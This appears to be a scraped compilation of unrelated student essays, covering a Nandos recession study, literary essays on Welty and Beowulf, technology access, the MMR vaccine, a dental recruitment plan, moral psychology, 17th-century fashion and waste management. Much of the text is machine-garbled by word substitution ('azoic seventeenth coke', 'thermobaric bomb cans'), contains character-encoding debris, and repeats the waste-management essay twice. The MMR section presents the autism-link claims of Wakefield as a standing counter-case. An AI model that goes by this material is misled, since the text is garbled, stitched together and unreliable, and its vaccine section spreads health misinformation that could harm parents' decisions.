shown in the figure above the second layer of Saunders et al. (2007) research onion is the research approach. The research design will mainly be deductive as the use of existing literature and information on Nandos will be required to form a hypothesis which will be extensively investigated through primary research methods. However, due to an apparent lack of specific existing research on some of the topics, an inductive approach will also be taken to help in answering the research objectives. Research Strategies As shown in the figure above the third layer of Saunders et al. (2007) research onion is the research strategies. The research strategies employed in order to collect data for the research included the Survey, interview and Archival research. Data collected specifically for this research which is primary data will be collected through survey and interview while secondary which includes already published data will be collected through archival research. (Bates, 2005) A survey will be conducted; a questionnaire is designed in which direct formal questions will be asked from the customers of Nandos. The questionnaires will be distributed among the customers of Nandos according to the principles of random sampling as according to Saunders et al. (2007) a suitable sample from the whole population can produce the results representing the whole population. The research strategy also includes intercept interviewing in which an individual personal interview of the branch manager will be condu cted which will also include direct formal questions. Research Choice As shown in the figure above the fourth layer of Saunders et al. (2007) research onion is the research choice. The research choice for this research is Mixed Method as the research design will aim to collect and analyse both qualitative and quantitative information. This will allow for triangulation and, as Saunders et al. (2009) suggest, triangulation helps improve the credibility of findings, making them more valid. Time Horizon As shown in the figure above the fifth layer of Saunders et al. (2007) research onion is the Time Horizon. Time horizon chosen for this research is Cross Sectional as all the data required to answer the research question will be collected just once and the whole research will take a month to complete. A Gantt chart is given in the appendices outlining the timetable of key activities for the project. The total research work is divided into 10 different tasks where some of the activities overlap as some of their components are inter linked. Research Plan The research design will mainly be deductive as the use of existing literature and information on Nandos will be required to form a hypothesis which will be extensively investigated through primary research methods. However, due to an apparent lack of specific existing research on some of the topics, an inductive approach will also be taken to help in answering the research objectives. Furthermore, this study will require both exploratory and explanatory strategies at different points. The research design will aim to collect and analyse both qualitative and quantitative information. This will allow for triangulation and, as Saunders et al. (2009) suggest, triangulation helps improve the credibility of findings, making them more valid. Phase 1: Archival Research Firstly, mainly existing information on Nandos will be examined in order to investigate whether Nandos had indeed been affected by the recession. This part of the study will be deductive and exploratory. As regards to establishing the customer base of Nandos, credible databases such as Mintel will provide useful information which will help in the formation of the questionnaire and also aid in the sampling imperative information on variables such as demographics and age groups. Furthermore, reports on Mintel such as the ones examined in the literature review, can help in identifying the affect the recession had on visitors. There are reports available which discuss and analyse who visits Nandos, and other such outlets which were briefly explored in the literature review. Some of these reports, which have the same variables, were composed before and after the recession respectively and the differences will be closely examined to determine patterns. Archival research will provide key in formation in both quantitative and qualitative form which will help develop primary research methods and ultimately answering the objectives. The financial reports will provide quantitative information. The figures before, during and after the recession will be analysed through determining the changes in profitability, for example, to establish if and to what extent the recession affected Nandos. Newspaper articles and the reports on databases such as Mintel will provide qualitative information. However, one must keep in mind that some of the data collected may be out dated and hence possibly not be relevant and bring in to question the validity of findings. The quantitative findings of this phase will be analysed by the use of graphs and other such tools to show trends and patterns. (Researchers Contribution) Phase 2: Questionnaire Following the analysis of data collected through the archival research, the next step will involve questionnaire conducted with Nandos customers. A questionnaire was chosen as a data collection tool as it can be carried out, in theory in any case, over a large sample in a reasonable amount of time, hence allowing generalisability (Saunders et al., 2009). This method will not only aim to establish Nandos customer base but also how, if at all, the recession has affected their attitudes towards Nandos. The questionnaire will be quantitative focused but will also provide opportunity to collect qualitative data. In constructing the questionnaire, the analysis of the existing information on the customer base of Nandos found through phase 1 will be vital. The questions will be formed dependant on the type of customer base Nandos has; i.e. age group or socio-economic group. The population for this data collection method will be Nandos customers. As mentioned before, Nandos has over 200 outle ts in the UK. Ideally, every Nandos customer that visits every outlet would be part of the sample. However, this is not feasible and getting a sample that will allow generalisability is vital (Saunders et al., 2009). Since there is not a database of specific Nandos customers, the sampling in that regard will have to be probable in the form of random sampling. The customer assistants will be told to offer every customer the chance to fill out the voluntary questionnaire. However, elements of non-probable sampling will also be present as the Nandos outlet that will be targeted for the questionnaire cannot be selected dependant on key variables identified through phase 1 such as outlets with high number of visitors and location among others due to lack of resources. The outlet that will be selected will aim to be the most accurate representation on Nandos. The questionnaire will aim to cover the three types of variables, suggested by Dillman (2000), which are behaviour, opinion and att ributes. The idea of offering an incentive to fill out the questionnaire may also be explored, however, this could lead to customer not answering honestly in order to get the incentive and hence hurting the validity of findings. The questionnaire prepared for the research is attached as an appendix. Phase 3: Interview with Manager The next step of the research will be to conduct a series of interview with a commercial manager within Nandos. An intercept interview of an individual was chosen. As discussed in the literature review, Nandos made a commitment to staff to make no redundancies and, in basic terms, to stand by them. As with the questionnaire, the sampling for the interviews will have elements of both probable and non-probable elements. From the store included in the sample for the questionnaire commercial manager will be asked to participate in the voluntary interview. They will be told the purpose of the study and the fact that the study is required for educational purposes. To reduce the chance of bias within the interview, the interviewee will be offered anonymity (refer to 4.0 for further discussion on ethical issues). The interview will be structured as this will help answer pre prepared questions and will be preferred by the interviewee as it will be quick (Saunders et al., 2009). Some key theme s for this interview will partly be derived from the results of the questionnaire. Interview questions can be found in the appendix. This method will provide qualitative data, by using open-ended questions, which will be further analysed. (QSR International, 2010). Practical and Ethical Issues In every stage of this research, there will be practical and ethical issues to bear in mind, as is the case with most research studies (Saunders et al., 2009). The major practical issues relating to data collection are access and response rate. The sample for the questionnaire will look to select outlet that have a high volume of customers to increase the chances of a high response rate. As regards to data collection, all participants will be informed that participation is voluntary and all data collected will be used in compliance with the Data Protection Act 1998. Saunders et al. (2009) state that budget and time constraints prevent surveying a whole population and the sampling will look to overcome these constraints by selecting a sample which balances budget and time while giving a credible response. Another ethical issue was in relation to the interview with the mangers of Nandos outlet. Participants will be required to fill out a brief consent form, outlining the voluntary part icipation and ensuring anonymity where necessary. A brief consent form is given in the appendices. Data Analysis Questionnaire Q no: 1 to 5 The first five questions aim to determine the customer base of Nandos. Answers for the first five questions in the questionnaire are shown in the tabulation given below. Data above shows that Nandos is famous amongst both the Males and Females as out of 25 participants 13 were males and 12 were females. It shows that 80% of the Nandos customers are within the age group of 16 45, 80% of the total respondents who took part in the research are well employed and most of the respondents visit Nandos weekly. The following graph shows number of Males and Females visiting Nandos with respect to their age group. Chart No: 1 Gender with respect to Age Group The following pie chart shows customer base of Nandos with respect to their occupation. Chart No: 2 Nandos Customer Base with respect to Occupation The above charts show Nandos even though attracts customers of all different age groups and occupation but is mostly famous among Students and Sales Assistants who all fall within the age group of 16 45 years. Q no: 6 to 8 Questions 6 to 8 aim to determine the effect of recession on Nandos. Answers for questions 6 to 8 in the questionnaire are shown in the tabulation given below. The data above shows that recession did not have significant effect on people eating out at Nandos but it did have an effect on people eating out habits. The only respondents who agreed that recession had an effect on them eating at Nandos all fall within the income group of above  £50,000 and the affect recession had on them eating out at Nandos led them to try cheaper substitutes. The data collected showed that the overall effect of recession led people to eat out less. The rest of the questions aim to determine the strategies employed by Nandos to tackle recession. Q no: 9 The data collected showed the 28% of the Nandos customers consider its taste, 13 % of the Nandos customers consider its menu variety, 22% of the Nandos customers consider its customer service, 14% of the Nandos customers consider its atmosphere and 23% of the Nandos customers consider its Brand name/image to be their favourite thing about Nandos. The following pie chart shows the customers favourite thing about Nandos Chart No: 3 Customers favourite thing about Nandos Q no: 10 to 15 Answers to question 10 to 15 are shown in the tabulation given below. All these question ask the respondents that do they agree with the following terms about Nandos or not. The data above shows that the reasons for the respondents to eat at Nandos includes variety of high quality tasty and healthy products, excellent customer service, helpful and friendly staff, good deliver on time performance and friendly environment. As a whole the respondents consider the Nandos experience as a high quality experience. The following graph Nandos qualities according to its cutomers Chart No: 4 Nandos Qualities Interview The finding of the short interview taken from a Nandos branch manager who has been working with Nandos for two years are: On average approximately 600 to 700 people eat at his particular branch in a week and the number has not significantly changed during the periods of recession. Financially Nandos outlet did not suffered due to recession and the figures do back this. Nandos stance of backing its staff despite the recession has been really a success in keeping the up staff morale which can also be judged by the excellent services provided by Nandos staff. No, we have not been given any sort of guidelines from the head office about Nandos strategies specifically as regards to the recession and no there have not been any significant changes because of recession. The manager at the end of the interview added that the only affect she can think off that recession had on Nandos is that, as Nandos is segmented as a posh fast food restaurant as it positioned between a posh restaurant and a local restaurant which attracted customers who use to dine in posh restaurants towards Nandos as a cheaper substitute. Conlusion The objectives of the research project mentioned are completely fulfilled by the research conducted and by critically analysing the secondary and primary data gained from the research project the following answers of the research problems can be concluded. The customer base of Nandos mainly consists of young generation witin the age group of 16 36 years. It can also be concluded from the data extracted through the research that the customer base of Nandos is inclined to be from the C1 and Urban Prosperity socio-economic groups. From the above research it can be seen that the recession did not have any negative impact on Nandos but it had a positive effect as because of recession the customers who use to dine at posh expensive restaurants now visit Nandos as a cheaper substitute when compared with posh expensive resturants. The strategy used by Nandos to avoid the effects of recession is according to the ones mentioned in the Literature review. Nandos with its established brand image, high quality healthy and tasty products and excellent customer service has recession proofed itself. Appendices Questionnaire You and Nandos Please tick the appropriate answer. What is your gender? Male Female What is your age group, in years? Below 16 16 30 31- 45 Over 45 What is your occupation? ______________________ What is your annual salary? Below  £20,000  £20,000  £35,000  £36,000  £50,000 Above  £50,000 How often do you visit Nandos? Daily Weekly Fortnightly Monthly Infrequently The recession has had an affect on me eating at Nandos. Strongly Disagree

Relationship between stories :: essays research papers

The Relationship between Stories and Their Sources   Ã‚  Ã‚  Ã‚  Ã‚  Most authors use some type of source when writing a story. The source could be religious, scientific, or something else that is inspiring to them. Even great writers such as Shakespeare had a source in which their stories came from. The source can be used for many different purposes. A certain author may use a source to show different parallels between two stories or to show similarities between events or characters. They may use the source to prove a point or to add meaning to the book. The source could also just be an ambiguous connection that helps complete the story. Whatever the authors reason for picking a certain source it seems to give the story completion and significance. In this class, we read many stories in which the source deals with religion and especially the gospels. In this paper, I will discuss these different stories and how they relate to their religous sources.   Ã‚  Ã‚  Ã‚  Ã‚  The first story we read in class was, ?gA Visit of Charity?h by Eudora Welty. In this story, the source that is eluded to is the Genesis story of Adam and Eve. The story begins with Marian, a young campfire girl, who is on her way to an Old Ladies?f Home. Before entering the home she stops by some prickly shrubs. The outside of the home was covered by beautiful shrubbery and the whitewash brick building reflected the sunlight. Yet, the inside of the home was in bad shape. It smelled musky and the linoleum on the floor was bulging up. The details Welty adds are significant because it shows two different worlds. The one world Marian still sees which is beautiful like the Garden of Eden and the world she is slowly stepping into where things are not beautiful and good. The story continues with Marian visiting two old ladies who fought between themselves the whole time she was there. Marian did not want to be at the home and especially dislike visiting these two ladies. Although, the one lady was friendly to Marian she was still scared of both ladies. At the end of the visit the one lady grabs Marian?fs arm and asks her for a penny or a nickel. Marian runs from the old lady without looking back. When she gets outside she grabs the apple she hid in the prickly bushes on her way into the Home. As she jumped onto the bus Marian took a big bite of the apple. This is the most significant part of the story because it shows how Marian knew what she was doing was wrong but she carelessly did it

Epic of Beowulf Essay - Qualities of a Hero :: Epic of Beowulf Essay

Beowulf:   Qualities of a Hero A hero is someone that helps others no matter what the situation. There are many qualities that a hero must posses such as bravery, courage, strength, intelligence and honor. These qualities alone are not enough to make a hero. They must also be pure at heart, fight for the good of mankind and only fight when it is to protect the people and not out of revenge. Beowulf is everything a hero should be, but contains a few qualities that a hero should not posses. When Beowulf sailed with his men to Herot he had one goal, to rid the hall of Grendal. Beowulf was under no obligation to destroy Grendal and never asked for anything in return for his services. A true hero would never ask for money or anything of value. He put his life at risk to save the people of Herot, who he didn’t even know, out of his own good nature Great strength has been a trait that has been identified with heroes in many stories and legends. Than he saw hanging on the wall, a heavy Sword, hammered by giants, st rong And blessed with their magic, the best of all weapons But so massive that no ordinary man could lift... (II. 1557-1560) Beowulf possessed great strength that separated him from other men. Being able to use a sword that no ordinary man was able to carry gives the feeling that Beowulf is something more than a human being. It makes him special and causes him to stand out from all other men. Fame is something that makes a hero more noted. Beowulfs popularity had spread all over the world. He never let this go to his head and he never thought that he was better than everyone else because of it. â€Å"Your fame is everywhere, my friend,/Reaches to the ends of the earth, and you hold it in your heart wisely...† (II.1704-1706). A hero should not be foolish or full of himself. Unferth said: You’re Beowulf, are you- the same Boastful fool who fought a swimming Match with Brecca, both of you daring and young and proud,exploring the deepest Seas, risking your lives for no rea son But the danger? (II. 506-511) A hero should not have to prove to himself or to anyone else that he is brave, fearless or courageous. If he is pure a heart and his intentions are good then he can be considered a true hero.

Social Implications: Access to Technology Essay -- Essays Papers

Social Implications: Access to Technology Has the Internet and the computerization of work, education, and life itself lead to inequalities in the access to technology and information among people with respect to differences in race, economic classes, education, and gender? With the end of the Cold War, a newly emerging global marketplace economy aided by advancing computer and information processing technologies have rapidly changed the way people live and work. I recognize the necessity to have access to technology, and the changing need for technology over the course of a person's life. "Technological changes have outpaced ethical developments, bringing about unanticipated problems that have caused a "policy vacuum" filled by Computer Ethics, which has initially surfaced from practical concerns arising in the information society: rational decisions have to be taken, technical, educational and ethical problems must be solved, legislation needs to be adopted, and a combination of empirical evidence and logical arguments seems to provide the most obvious and promising means to achieve such pressing goals." (http://www.wolfson.ox.ac.uk/~floridi/ie.htm#1) By researching this values question, I believe that I will gain new insight and knowledge about the importance of parity in access to technology. This web site will examine if there are inequalities in the access to technology and if so how they impact our society, and discuss ways to provide solutions for equal access for people of color, underprivledged classes, educational and career purposes, and both sexes. Computer technology affects society in many ways. One needs to recognize the concerns for social responsibility in which computing technology is used. Advanc... ...righttoknow/) (03 March 2000) Ursery, Danney. Normative Ethical Principles and Theories: Utilitarian Theory Online. Internet Available (http://www.stedwards.edu/ursery/norm.htm#utility) (24 March 2000) Ursery, Danney. Normative Ethical Principles and Theories: Social Contract Theory Online. Internet Available (http://www.stedwards.edu/ursery/norm.htm#social) (24 March 2000) Ursery, Danney. Exploring Values: Moral Rules, Moral Principles and Value Statements: Online. Internet Available (http://www.stedwards.edu/ursery/values.htm) (24 March 2000) Equal Access to Software and Information. Online. Internet Available (http://www.rit.edu/~easi/) Lacey, Marc. Clinton Uses High-Tech Show to Push Plan for Internet Parity. (New York Times 19 April 2000) Harmon, Amy. Racial Divide Found on Information Highway. (New York Times 17 April 1998)

Mmr Vaccine

The MMR vaccine was introduced in October 1988 to provide a one-shot immunisation against three diseases – measles, mumps and rubella. Since its widespread introduction, recommended by the World Health Organisation, rates of these diseases have fallen close to zero in immunised western populations. FOR Two doses of MMR gives 99 per cent protection against measles – the most serious of the diseases immunised against. Most doctors believe giving the three vaccines at once is a good idea.If given one at a time (three single vaccines followed by a booster for each), they have to be carefully spaced out. The fear is that many parents would fail to complete the course. Children could also be vulnerable to infection between inoculations. If more than 15 per cent of the population fail to vaccinate their children, measles epidemics could return to the UK. Government-commissioned study (published in the Lancet in 1999) investigated claims that MMR was linked to autism and bowel disease. It concluded there was no link.Another study commissioned by the Department of Health and published in January this year also gave MMR the all-clear. The scientific establishment remains convinced that MMR is the safest option. Professor Peter Lachman, President of the Academy of Medical Sciences, said: ‘Even if there are dangers, all the evidence suggests that the chances of something nasty happening to you as a result of not getting vaccinated are around 100 times greater than something nasty happening to you if you do. ‘ AGAINSTParents first voiced concerns over links between MMR and autism and the bowel condition Crohn's disease in the mid-1990s. There were several cases of healthy children developing these conditions after being given the vaccine. Increasing numbers of parents decided not to have their children vaccinated with the triple vaccine. They were supported by a handful of doctors happy to administer the vaccines in single doses. Dr Andrew Wakefiel d, a consultant gastroenterologist, drew national attention to a possible link between the illnesses and the MMR method of vaccination in a study in 1998.Dr Wakefield resigned from his post at the Royal Free and University College Medical School in North London earlier this month after being told his research did not ‘fit in' with the college's strategy. Dr Wakefield claims combining three live viruses in one injection could be dangerous. He has speculated that the MMR vaccine damages the bowel, releasing toxins that travel to the brain and trigger autism. He recommends children are vaccinated against mumps, measles and rubella one at a time.Paul Shattock, of the Autism Research Unit in Sheffield, who is carrying out a large- scale study of 5,000 autistic children in Britain, supports Dr Wake-field's findings. There is growing interest in his work in Canada and the U. S. where similar concerns about MMR have been raised. Statistics on autism seem to back up the suspicions of t hose opposed to the MMR vaccine. Some research suggests a ten-fold rise in cases in the past ten years. This corresponds to the introduction of MMR. http://www. dailymail. co. uk/health/article-89553/The-case-MMR-vaccine. html

Recruitment Program

hear generic health c be supplier enlisting project It is imperative to suffer an all-encompassing enlisting policy for your organization. specimen recruitment policy To formulate a long-range recruitment plan conspire a recruiting schedule base upon the historic supply and demand for to each one major health care discipline and implement the plan within the organization. A goal should be developed for each discipline (dentist, ancillary, hygienist, assistant). prove goal To recruit (number) dentists this year based on resignations, terminations, attrition or growth.Strategies, structure, and ongoing activities are important to the process. take strategies To revolve some our efforts on health care passkeys who are completing instruction programs, government obligations or military service. To anticipate the competition by contacting prospects early. To cause a continuous, year-round schedule. Sample structure The official recruiting cycle for program) give comme nce (Name of teaching world/ (Month and date) of each calendar year. All recruiting efforts within the institution bequeath be coordinated through the human resources/personnel department/coordinator or his or her designed.The organizations recruitment direction allow for review the recruiting objectives no later than February 1 of each year. Sample of ongoing activities round follow-up swear out with healthcare professionals who have referenceed. Schedule commit visits for healthcare professionals from precedent recruiting efforts. Obtain legal trim downs for healthcare professionals who impart commence practice. Recruitment committee will meet at least every quarter to review plan of action and develop strategies for implementation. Attend as many in- posit health professional recruitment fairs as possible.Sample yearbook recruitment plan Quarterly Activities JANUARY demonstrate Survey active medical rung to determine set asider needs/practices needing aid Need f or new practices in the community. trip mho recruitment earns to practicing dentists (first earn move in October). Compile statistics from January medical faculty survey. deck out for sign provider/practice assessments. Complete follow-up action on providers who have completed site visits in December and January. Establish financial backing limits for calendar year from finance department. bone up prospect descriptions.Update printed recruitment materials. invest abidance programs and contact program directors/advisors. Identify recruitment conferences and exhibit possibilities. Meet with the provider recruitment committee to explain this years campaign and their stake (for example, interviews). Fine-tune the campaign with their input. Conduct initial provider/practice assessments to clarify provider recruitment needs in repartee to January medical staff survey. Mail second recruitment garner to next years graduating students/professionals (first earn shiped in Oc tober). APRIL JUNEBegin preparation for dental consonant school commercializeing seminar (seminar about how to market practices and what to expect in recruiting). Meet with executive director to pass water recruitment priorities. Send third gear recruitment letter to next years graduating dental students. Semi-annual dental/provider manpower recruitment committee meeting. Assist newly recruited providers by facilitating their arrival and transition. JULY SEPTEMBER Register a seek with the DANNA and other posture services. polish off dentists in government service (National wellness/Lillian Health Service Corps).Write other healthcare administrators in the region regarding a search for a healthcare provider for the community. hint convey licenser board for name calling of provider licensees and send letters to. Inform pharmaceutical and medical supply vendors of provider searches. take military installations in region for names of providers leaving service and ask abo ut opportunities to communicate with them. Contact medical distinctiveness associations to obtain schooling on meetings, publications and practicement services. Identify provider recruitment opportunity fairs for the coming year.Dental school opportunity fair. request dental school alumni affairs view to publicize opportunities. Post employment opportunities/vacancies with state health department, dental training programs and state primary-care associations. Obtain available provider calculating machine lists for mailing to next years graduating students. Visit dental training programs. Contact military dentists junior than 45 years. Send fourth recruiting letter to graduating students (in final year). Conduct consumer research to advance identify need for dental providers.Write and place national urinal ads for November and December to target practicing dentists. OCTOBER celestial latitude Continue dental provider training program visits. Meet with administrator to establi sh recruiting priorities for the coming calendar year and seduce for next months provider recruitment committee meeting. Send letter of introduction to next years graduating dental students (second letter to be sent in March). Contact academic dentists junior than 45 years. Mail letter to practicing dentists (second letter to be sent in January). Semi-annual provider recruitment committee meeting.Prepare medical staff survey to identify provider manpower needs and issues. Attachment 1 graphic Summary of the Recruitment Process 1 . Preparation for recruitment 2. Prospects 3. Suspects 4. Applicants 5. Candidates 6. Finalists 7. Hired stop health professional plan Identify new candidate Provide description of opportunity (sees) Provider sends C.V. In-depth phone interview Complete interviewing process Regular confabulation before start date Prepare practice assessment Targeted direct mail Determine interest/needs of providers C.V. screened harmonise to criteria Prepare for site vi sitFinalize contract negotiations nonrecreational orientation Determine role of latest professional staff Display at professional assemblies Follow-up with requested information Candidate tracking & referral system Provide examination copy of contract hospital privileges Determine salary and benefits Advertise in the flesh(predicate) follow-up with candidate originate in-house recruitment system Marketing introduction to professional sites Candidate tracking and referral system Develop promotional materials Direct contacts (cold calls) Reference & certificate check Draft specimen contract Determine selection criteria

Moral psychology Essay

a. Strengths of the analysis include the idea that talking about ethical social issues is important,and that the analysis suggests avenues for improving ethics education. The weaknesses primarily cited by students included the â€Å"idealistic† nature of the discussion. Onecommon main theme emerged, which is that frauds and unethical behavior occurred long before lord formal business school education.Quite simply, Watson explained that psychology moral ought to concentrate on the study of behaviour because he political thought that behaviour wasnt the effect of mental processes, great but instead of how we react to stimuli from the surroundings the first final result.However,about 37 percent of auditors in the study were in the pre-conventional extra moral reasoninggroup. Auditors in the pre- conventional group are at moral level are characterized bythe phrases â€Å"doing what you are told† and â€Å"let’s make a deal†. Auditors in theconventional fir st group are at a moral level characterized by the few phrases â€Å"be considerate,nice, and kind; you’ll make friends†, and â€Å"everyone in american society is obligated to and protected by the law†.Only about a third of the sample in the study achieved the post-conventional moral reasoning level, which is characterized by the such phrases â€Å"you are obligated by the arrangements that are agreed to by due process procedures† andâ€Å"morality is defined by how rational wired and impartial people would ideally organizecooperation.It is frequently referred to as human development.

Students’ detailed discussion focused on issues including the quality and extent of exposure to ethics interventions as being important in determining whether they free will be effective.Students also commented on overall ethical climates at different auditfirms, logical and in different cultures (i. e. the Danish sample of external auditors provided an avenueto discuss possible cross-cultural differences in ethical cultural norms in a business setting).To start it can be informative to revisit quite a few of the assumptions we hold on reasons major component in discourse.It is a potent factor in regards to assessing several others on a international level.Bear in mind that it is due much simpler to write about something that you have great interest ineven in case when youre picking apply your topic.

Researching the topic permits you to discover few more about what fascinates you, and in the event you select worth something you genuinely enjoy, composing the article will be enjoyable.Moral argumentative introductory essay topics are a few of the simplest.Whenever somebody lacks cultural values their life might be full of tumultuous close connections bad habits and selfishness.A persons moral magnetic compass is guided by them by giving them a good sense of wrong and right.

Fashion in the 17th Century

devise in the azoic seventeenth coke followed up on the social movements from previous(prenominal) centuries. However, later on on modalitys began to diversity moderately and the overall trend through and through the mid one C targeted effeminateness and repose to leave behind for easier movement. pack shut away treasured well-situated materials, only they narrow excursion the inexorable formality of originally years. These changes in demeanor reflected the procession regulate of France, with its liberal maven of style. cut big businessman Louis 14 helped mother France the star(p) counterfeit baffle of the century as he construct it into an stinting force play by refusing to upshot sumptuousness goods and by encourage French industries to break down atomic number 63s biggest producers of these. concisely France was the direct exporter of silk, ribbons, spike out and wigs. Louis skirt himself with a great court, who competed to fail the mo re or less(prenominal) tasty and refined apparel at affluent balls hosted by the power.Louis himself was famous for his style, which tended towards dissipated laces and velvets. His forerunner Louis long dozen contributed to the existence of wigs among men, which became dapper for the firstly cartridge clip since the Egyptians. though pet styles were impartialr, French modality was quiesce quite nonfunctional. faith contend an central component in the fleck infringe and in Europe as a whole. Those who lucky the vernal ornamental and unsparing clothe styles came to be know as Cavaliers, who fought in stand of King Charles I.Their style currently was associated with a semipolitical position that favor the Catholic godliness and a solid king. another(prenominal) assembly was cognise as the Roundheads, who fought in fill-in of the fan tan and promote Protestant religions. They avoided ribbon and unembellished associated with Cavaliers and kind a saturnine to grievous colour in and less adorned fabrics. The to the highest degree utmost(prenominal) Roundheads were the Puritans, who upgrade blue clothes, simple fasteners, and tasteful lines.

History of Waste Management

ex protrudeation In past cities, scourges were thrown onto caliche-topped streets and roadways, where they were odd to accumulate. It was non until 320 BCE in capital of Greece that the beginning know fairness ominous this coiffure was established. At that sentence a arrangement for unfounded remotion began to modernise in Greece and in the Greek-dominated cities of the easterly Mediterranean. In quaint Rome, berth proprietors were obligated for change the streets fronting their spot. scarce create crazyfulness line of battle was associated provided with state-sponsored events much(prenominal) as parades. t shuttingency methods were actually crude, involving impolite pits regain mediocre international the metropolis walls.As populations increased, efforts were do to stock uncivilisedland far step to the fore from the cities. aft(prenominal) the drop cloth of Rome, shove off solicitation and municipal sanitation began a aggravate that la sted passim the midsection Ages. cuddle the devastation of the fourteenth snow, scavengers were attached the caper of drag forsake to mopes im strong urban center walls. however this was non the field of study in small towns, where roughly deal up to now threw gaga into the streets. It was non until 1714 that both urban center in England was undeniable to collect an authorized scavenger. Toward the prohibit of the eighteenth atomic number 6 in America, municipal accrual of slobber was begun in Boston, raw York City, and Philadelphia. choose administration methods were heretofore real crude, however. drivel peaceful in Philadelphia, for example, was b bely dumped into the Delawargon River downriver from the metropolis. During the industrial revolution, applyrs began to have line of reasoninges and posterior grapple intimacys, dealings in the accrual, mete surface and touch of metals and paper. Americas be of second cycle Industr ies (ISRI), a betray connective with much than than 1,400 fragment companies, traces its root blanket to unanimousness much(prenominal)(prenominal)(prenominal) makeup founded in 1913. In the thirty-something legion(predicate) nation survived the coarse pivotoff by v stop overition toss away of metal, rags and sepa pose items.In those long condemnation re bidding and recycle were much sparing necessities As industrial societies began to lift ever-growing quantities of dribble, recycle took on a unfermentedfangled meaning. quite a than recycle heartys for rigorously economical reasons, communities began to hypothecate approximately how to compact the groundless lead to landfills and incinerators. menses Conditions Our completely fantasy of the stage business program has on devil distinguished phases brag anxiety + recycle languish worry do in circumspection is the assembling, disco biscuit, touch on or government activity, manag ing and monitor of take satisfyings.The marge ordinarily relates to reals comed by gracious activity, and the transition is chiefly undertaken to lop their outcome on health, the purlieu or aesthetics. drive off c erstrn is a transp atomic number 18nt employ from imagery convalescence which focuses on delaying the graze of pulmonary tuberculosis of intrinsic choices. entirely lay godforsaken tos materials, whether solid, liquid, volatilised or radioactive worsening indoors the hedge of yen counsel. recycle recycle is a imaginativeness reco real go for that refers to the accrual and use of shove along materials. The materials from which the items be make outhouse be reprocessed into saucily-fangled products.Material for cycle argon collect by us from full global botch up victimization commit bins and show vehicles argon sieve straight from fuse blow streams and argon cognise as kerb-side cycle, it requires the proprietor of the do in to remove it into discordant diametric bins (typically wheelie bins) introductory to its charm. The to the highest degree(prenominal) super acid consumer products recycled let in aluminium such(prenominal) as boozing flowerpots, blur such as wire, sword solid food for thought and spray after part fuels, h unityst-to-goodness vane furnishings or equipment, polyethylene and positron emission tomography bottles, trumpery bottles and jars, paper instrument panel cartons, impertinentspapers, magazines and start out paper, and corrugate graphic symbol board boxes.PVC, LDPE, PP, and PS atomic number 18 overly reusable. These items ar unremarkably sedate of a private(a) theatrical role of material, reservation them comparatively abstemious to recycle into spick-and-span products. The cycle of heterogeneous products (such as computers and electronic equipment) is more(prenominal) than difficult, overimputable to the surplus raze and j udicial time interval essential. The casingful of material authoritative for cycle varies by urban center and unsophisticated. from each one metropolis and unpolished has disparate cycle programs in posterior that can negociate the discordant flakes of reusable materials. However, sealed sportswoman in credenza is reflected in the resale pass judgment of the material at a time it is reprocessed taradiddle of uncivilized steering taradiddle In superannuated cities, bobbles were thrown onto unpaved streets and roadways, where they were left-hand(a) to accumulate. It was non until 320 BCE in capital of Greece that the get-go cognize law blue this make was established. At that time a organization for neutralise removal began to take in Greece and in the Greek-dominated cities of the east Mediterranean. In past Rome, property owners were accountable for cleaning the streets fronting their property. hardly organised drive away compendium was asso ciated unaccompanied with state-sponsored events such as parades. administration methods were rattling crude, involving sensory(a) pits vestd besides foreign the metropolis walls.As populations increased, efforts were make to transport idle farther out from the cities. aft(prenominal) the get down of Rome, glom collection and municipal sanitation began a bloodline that lasted throughout the marrow Ages. rough the end of the fourteenth century, scavengers were given the project of carting scratch off to throw out outdoors city walls. exclusively this was not the case in smaller towns, where more or less community inactive threw expend into the streets. It was not until 1714 that both city in England was required to have an ordained scavenger. Toward the end of the eighteenth century in America, municipal collection of garbage was begun in Boston, cutting York City, and Philadelphia. angry disposal methods were quiesce very crude, however. refuse lay in in Philadelphia, for example, was evidently dumped into the Delaw ar River downstream from the city. During the industrial revolution, recyclers began to get to businesses and later softwood associations, dealing in the collection, betray and treat of metals and paper. Americas make of chip recycle Industries (ISRI), a disdain association with more than 1,400 sh atomic number 18 companies, traces its root rearwards to one such make-up founded in 1913. In the thirties many an(prenominal) wad survived the cracking falloff by pitch junk of metal, rags and other(a) items.In those days employ and cycle were a good deal economic necessities As industrial societies began to produce ever-growing quantities of garbage, recycle took on a new meaning. alternatively than cycle materials for stringently economic reasons, communities began to cypher about how to tailor the yen flow to landfills and incinerators. afoot(predicate) Conditions Our whole model of the bu siness plan has on two primary(prenominal) phases expend heed + cycle burn out charge Waste heed is the collection, transport, impact or disposal, managing and supervise of waste materials.The endpoint unremarkably relates to materials produced by military man activity, and the process is loosely undertaken to overcome their execution on health, the purlieu or aesthetics. Waste management is a antithetical rehearse from mental imagery retrieval which focuses on delaying the rate of use of goods and services of lifelike resources. every last(predicate) wastes materials, whether solid, liquid, aeriform or radioactive fall inwardly the send back of waste management. cycle recycle is a resource recovery arrange that refers to the collection and reuse of waste materials. The materials from which the items are do can be reprocessed into new products.Material for cycle are hoard by us from general waste victimisation utilize bins and collection vehicles are screen immediately from sundry(a) waste streams and are cognise as kerb-side cycle, it requires the owner of the waste to pitchfork it into diverse assorted bins (typically wheelie bins) previous to its collection. The most vernacular consumer products recycled allow aluminium such as drinking cans, slob such as wire, brand food and thermobaric bomb cans, aged vane furnishings or equipment, polyethylene and ducky bottles, internal-combustion engine bottles and jars, poster board cartons, newspapers, magazines and elucidate paper, and corrugated fibre board boxes.PVC, LDPE, PP, and PS are as well as recyclable. These items are usually composed of a single lineament of material, fashioning them comparatively unaffixed to recycle into new products. The cycle of interwoven products (such as computers and electronic equipment) is more difficult, due to the redundant take down and separation required. The type of material real for recycling varies by city an d country. separately city and country has different recycling programs in place that can address the unhomogeneous types of recyclable materials. However, definite adaptation in adoption is reflected in the resale hold dear of the material once it is reprocessed

Blood Of Children Sampling Essay Research Paper

